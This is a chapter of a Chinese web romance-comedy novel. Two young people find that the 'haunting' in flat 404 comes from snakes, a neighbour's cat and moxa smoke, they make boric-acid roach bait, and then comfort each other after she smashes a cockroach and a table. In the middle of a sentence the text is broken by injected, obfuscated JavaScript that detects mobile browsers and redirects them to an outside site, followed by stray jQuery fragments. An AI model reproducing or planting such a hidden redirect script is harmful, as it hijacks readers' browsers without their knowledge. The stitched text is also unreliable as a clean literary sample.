12. 第12章

作品:《台风归镜

    “解释起来很复杂,但归其原因……这里可是岭南啊!古人严选流放之地。”


    “见鬼!我就说怎么没有流放江南的说法!”李双沉痛地捂住胸口:“你知道么?昨晚那只蟑螂比我半张脸还大!飞起来的声音和直升机一样!而且虫子不应该阴暗爬行么?它为什么敢追着我咬?我现在就和生嚼了两斤花椒似的,整个人都麻了!”


    “蟑螂是杂食动物,它追着你……是想吃你。”


    “别说了!”李双抱住头:“托你买的东西买了吗?”


    “买了。”程理晃了晃塑料袋:“说起来香港也属于岭南,对蟑螂不应该司空见惯么?”


    李双颤颤巍巍地起身:“我三年前才从纽约回来,这三年我除了上学就是练功,家务都是我爸和二哥干的。他俩实在太能干了,我家连苍蝇都很少出现,更别提蟑螂了。”


    “令尊令兄为这个家付出了太多。你昨晚说你已经知道了‘闹鬼’的真相,是什么意思?”


    李双长长地叹出一口气,打开了门——


    放眼望去,满地都是乱七八糟的黑脚印。贡台倒在地上,香灰和踩烂的苹果洒得到处都是。浴室门大敞,不明红色液体在门口蜿蜒。


    “你和博士哥打架了吗?”程理颤抖着问。


    李双掏出手机:“要看吗?我昨晚拍了和它搏斗的录像。”


    “不!”程理遮住眼睛:“看了会折寿的!”


    “不是灵异视频,但你看完,说不定会觉得还不如是呢……”


    程理思索了几秒,小心地移开手,在看清的瞬间闪现到墙角:“好恐怖的花纹!”


    李双眨了眨眼:“原来你怕蛇?”


    “我讨厌没有腿的爬行动物,包括黄鳝!”


    “黄鳝不是爬行动物……算了。好消息,棕黑锦蛇是一种无毒宠物蛇;坏消息,这玩意儿最多能长到两米,比我俩都‘长’。”


    “这间屋子为什么会出现蛇!看房那天还没有啊!”


    “因为它藏在浴室的天花板里。”李双淡定地播放录像:“不知道它是怎么钻进去的,估计是饿坏了,就用尾巴狂敲瓷砖,地上的红色液体是它的血。你知道我打开瓷砖,除了蟑螂骑脸以外,还看到了什么么?”


    “什么?”


    “碎掉的蛇蛋。”


    “亲娘嘞还是条母蛇!”程理火速退至大门外:“那那那这房里岂不是……”


    李双的苦笑大写加粗印着“没招了”三个字:“没错。我和消防员找蛇找了一夜,这一地的脚印都是他们留下的。所谓的夜半低语,就是蛇宝宝吐信的声音,东西莫名掉落,也是因为它们走路……不对,爬行横冲直撞。”


    “天呐,还不如是博士哥显灵呢……”


    “烟熏味。”李双朝地漏扬了扬下巴:“来自7楼阿婆熏的艾草,她有风湿病,一到下雨天就膝盖疼。”


    “啊这……”


    “至于窗边黑影——是隔壁养的黑猫,因为没封窗,所以它没事就出来遛弯。我已经上门和邻居‘推心置腹’地聊过了,他们发誓立刻封窗,以后大黑不会再有机会离家出走了。”


    “这下所有闹鬼事件都破案了,除了鬼压床。”


    “被这群卧龙凤雏骚扰,是个人都会神经衰弱的,更别提确实有人在此轻生。俗话说日有所思夜有所梦,睡眠时感到身体沉重也说得过去。”李双向他招招手:“你躲什么,进来啊。”


    程理不为所动:“蛇全都找到了么?”


    “找到了呀。一共就三个蛋壳,三个宝宝带它们亲妈,一家四口已经送去动物收容所了。除了那只不知所踪的蟑螂,404已经没有需要害怕的东西了。”


    “好吧。”程理这才重新踏进门,他从塑料袋中取出土豆、硼酸,以及一袋白糖。


    李双大怒:“你要在这做饭啊!我不是让你买灭螂药么?”


    “这是狐主任的‘小强嗝屁餐’,小强吃下混有硼酸的土豆泥脱水死亡,死之前会跑到下水道寻找水源。这个方法简单又不用处理尸体,非常适合你。”


    “狐主人?”李双瞪大眼。


    “主任!科普博主无穷小亮!鉴定一下网络热门生物视频,没刷到过么?”


    “还以为是什么色情博主……”李双不好意思地取出泡面锅:“对不起,我不太跟得上国内的潮流,也不认识什么互联网博主。”


    趁着土豆下锅炖煮,二人一边收拾满地狼藉,一边随意聊天。


    “香港人都用什么社交软件?”


    “聊天用Whatapp,发照片用Instagram,看视频用YouTube,还有一些杂七杂八。”


    “都要挂梯子,你和家人交流岂不是很不方便?”


    “她们为了迁就我,全都注册了微信,还拉了个‘相亲相爱一家人’的群。”


    “哈哈,我家微信群也叫这个名字。”


    “来广州前我听说大家会用企鹅,特意下了个,结果完全没用上。”


    “你早来10年就能用上了,微信没问世前,企鹅掌控着全国年轻人的社交。”


    “包括你吗?”


    “是的,我的小学、初中同学都在企鹅里。企鹅空间相当于朋友圈,以前我最大的乐趣就是逛空间,看他们每天发了什么。”


    “听起来很有意思。”


    “特别有意思。”程理笑着打开锅盖:“土豆已经熟了,我们去餐桌上把它们搓成丸子。”


    “好嘞!”


    程理继续话题:“有人会装成明星。古天乐你应该认识吧?我加过他的企鹅,他说只要我花钱给他充Q币,他就带我去香港拍电影。”


    “还有这种事?”李双狂笑。


    “是啊,除开骗子,大多数人还是挺纯真的。大家会给自己取花哨的网名,比如战一柔、爷傲奈我何;发一些尬尬的自拍,配文是‘你若折我姐妹翅膀,我必毁你整座天堂’之类的;空间还有各种小游戏,可以种菜、买车什么的。哎呀越说越怀念,我也很久没打开企鹅了。”


    “好羡慕。我要是也在国内长大就好了。”


    “说羡慕也太过了。只是一段搞笑的青春回忆罢了,你在纽约没有么?”


    李双低着头,认真地将土豆泥搓成丸子:“没有。我不怎么受欢迎。”


    “什么?”程理大惊:“你都在全校面前暴揍虐童癖了,不该名声大噪么?”


    “很不幸,我动手的时间是六年级的最后一个学期,毕业季近在眉睫,没人真的记住我。”


    “不对啊,你这么……这么……”


    “我这么漂亮,人缘怎么会差?”李双语气平淡:“是的,我的追求者确实很多,但他们只把我当成纹路奇异的花瓶,一个可以向别人炫耀的资本,大多数人连我是中国人还是日本人都分不清。至于女孩们……


    我实在和她们聊不到一起。初二的时候,我认识了一个叫小玉的华裔女生,我和她,还有个意大利裔的卷毛男生因为某些原因成了三人组。那段时间是我纽约生活中为数不多的快乐时光,可惜小玉一学期后转学走了,和小卷毛出双入对又很奇怪,所以最后我又变成了孤身一人。”


    “不至于一个人吧,你不还有兄弟么?”


    “我大哥很忙的,每天都要参加各种各样的社团活动,我也不好意思总去打扰他。我二哥……连你都曾误会过我和他的关系,更别提那群外国小孩了,他们闲话说得非常难听,最后连老师都来找我探口风。所以我宁可一个人,也不和他待在一起。”


    程理讪讪说:“怪不得你想和舍友成为朋友。”


    “是。孤单的感觉真的挺痛苦的。因为不想让家里人担心我融不进集体,我说自己加了数学社,实际上我每天放学就骑着自行车去湖边吹风,从白天坐到黑夜。”


    “那片湖在阳光下波光粼粼的,很美。”李双说话的声音轻得像羽毛落在湖面:“赤着脚站在湖水里,那份冰凉反而令我痛快。”


    “李双,你……”


    “啊——!”


    李双的尖叫截断了程理的话,昨晚袭击她的蟑螂竟然出现在了桌上!它的行动速度快如闪电,眼看就要爬上李双手背!


    惊恐到极点又一夜没睡的女孩大脑彻底停转,她本能地手起刀落——


    噼啪!


    程理呆若木鸡,目送裂开的餐桌无可阻挡地向内凹陷、坍塌。


    死寂,占领了404。


    李双僵硬地抬起下劈的手。


    “你没……”程理的话戛然而止,因为李双的手掌侧边沾着一片小强,周围还有些许淡黄色液体……


    死寂,再次占领了404。


    李双,一个成年女性,铁骨铮铮的传武继承人,此刻她呼吸困难,战栗不止,喉中溢出绵长而凄厉的呜咽。


    “我的手……我的手……”李双死死盯着掌心,崩溃的模样堪比《罪恶王冠》里失去手臂的主角,仿佛下一秒就要跪地大喊“我的王之力”。


    啪叽。


    曱甴.zip落在地上。


    程理后仰,同时倒吸一口气。


    坏情绪飚至顶峰,大颗大颗的泪珠接连落下,破大防的李双哇的一声哭了出来!


    “为什么倒霉的总是我!被舍友欺负,被芒果砸头,现在连蟑螂也来欺负我!好恶心真的好恶心!天杀的!这手不能要了!切掉!切掉!”


    满面狰狞的李双钳住手腕,力道大得像是要将它从身上扯下。


    “别冲动!”程理玩命地按住李双发狂的爪子,拉着她进入浴室。


    洗手台的水哗哗往下流,李双的眼泪也哗哗往外淌。程理紧握李双发抖的手,挤了整整三泵洗手液上去,帮她从指尖洗到指缝,再从手心到手背。


    反复搓洗两次后,程理关上水,举起她的手安慰:“看,已经干净了。”


    “一点也……不干净!”李双依旧哭得上气不接下气。


    “好好好!那再洗一遍。”


    程理赶紧再次打开


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957847|193211||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    水龙头。两个大个子挤在小小的浴室里,行动一点也不方便。程理干脆站到李双身后,双臂穿过她腰间,裹住她的手。


    “别哭啦,只是虫子而已。”


    程理的鼻息泼在李双耳后,李双没忍住侧头望了一眼。隔着朦胧的水雾,程理的眉毛微微皱着,注视手掌的眼睛目不斜视,隽秀的脸上是十成十的认真,仿佛他不是在为倒霉蛋洗手,而是为宇航员检查装备。


    李双的心重重地跳了两下,放在他掌心的手慢慢柔软了下来。


    热水淌过四只交叠的手,浴室的温度逐渐攀升,四下水汽氤氲,洗漱镜浮起一层薄雾。


    “差不多可以了吧?”程理小心地开口:“手都搓红了,再洗要破皮了。”


    李双没说话,只默默盯着掌根掉眼泪。


    模糊的镜面倒映着李双哀伤的影子,以往的锋芒毕露不复存在,此刻的她像个羸弱的孩子。


    室内静默了几秒,程理把她转过来面对自己,捧住她的脸,用温暖的指腹为她擦去泪水。


    “不伤心了好不好?”


    李双原本就快冷静下来了,可一对上程理温柔关切的眼眸,她就完全控制不住泪腺。


    “咦?怎么哭得更凶了?”手忙脚乱的程理更加努力地擦眼泪。


    “我觉得……自己好没用……”李双的眼泪砸在拖鞋上:“什么都处理不好,还被区区虫子弄哭了……呜……”


    “别这么说,你很厉害的!”


    程理又尝试着安抚了几句,可陷入自我厌弃的李双什么也听不进去。


    “别哭啦。”程理单手拢住李双,将她半圈在怀中,手掌轻柔地拍打她的脊背:“再哭要脱水啦。”


    垂头丧气的李双额头倚在程理肩头,哭得一抽一抽的,泪水浸湿男孩的衣领,如同雨水滑下台风中倾斜的伞。


    一下一下的安抚中,李双的抽泣渐歇。鼻腔钻进好闻的皂香,背后的触碰也愈渐滚烫,脸红的李双赶紧推开程理,抹着眼泪说:“我把桌子劈烂了,房东肯定不会退押金给我了。”


    “原来你在担心这个。”程理弯起唇角:“交给我吧,我去和他交涉。”


    “怎么交涉?”


    “呐你想。”程理胸有成竹地竖起一根手指:“来看房那天,房东从头到尾都没提404闹鬼的传闻,说明他就想打这个信息差。既然他不仁,就别怪我们不义。到时候我就说你在客厅看见了奇怪的影子,情急之下打坏了桌子,现在主动赔他张新的,他估计也不敢多说什么。”


    李双依旧满面忧虑:“买新桌子的钱说不定和赔押金没区别。”


    “放心吧,我帮你在闲鱼淘一张,本地自提,保证不超过50块。”


    “咸鱼是什么?”


    “一个二手商品交易平台,只有你想不到,没有买不到。”


    “这么厉害?我还以为是个卖海鲜的APP。”李双终于破涕为笑。


    “赛博黑市可不是盖的。”程理收回手,细细观察李双的表情:“现在不难过了吧?”


    面颊微红的李双别开脸:“程理,上次的问题你还没回答我。”


    “上次?”程理愣了愣:“不是说了等——”


    “不是那个。”李双低头拨手指,声音细如蚊蝇:“是董卓……还是孙权?”


    “当然是孙仲谋。”


    “真的么?”


    “真的呀。”


    “那让我加你企鹅!”李双反手掏出手机。


    “加加加。”程理也掏出手机:“不过先说好,我现在真的不用企鹅,也不发空间。”


    “没关系,我只是不想一个好友也没有。嗯?你把空间锁了么?”


    “是啊,以前发了太多羞耻的东西,一条条删太麻烦了,干脆锁上。”


    “打开,我想看。”


    “都说很羞耻了,拜托你不要强人所难。”程理好气又好笑:“我也是要面子的。”


    “小气鬼。”李双撅起嘴:“我只想更了解你。”


    “你能不能……”程理捂住脸:“不要总是一本正经地说容易让人误会的话。”


    “难道真的是在美国待久了?”李双眨眨眼:“我没觉得自己说的话哪里能引起误会。”


    “等着吧!这里是China,我会持续地、不留余力地纠正你。对了,你的手疼么?”


    “完全不疼。”李双淡定地握拳又松开:“甚至可以再劈一掌。”


    “可别。”程理看向客厅的满地狼藉:“虽然早知道你力量惊人,但能徒手劈烂实木桌,还是完全超出了我的预料。”


    “二哥给我取了个外号,叫‘西伯利亚母棕熊’。”


    “有熊的力量和耐力啊……那我为你制定的计划,你应该能完美执行!”


    “什么计划?”


    手心传来短暂的震动,李双盯着对方传来足有500MB的PPT文件,陷入了沉思。


    “孙将军。”程理笑得很是纯良:“且听亮细说。”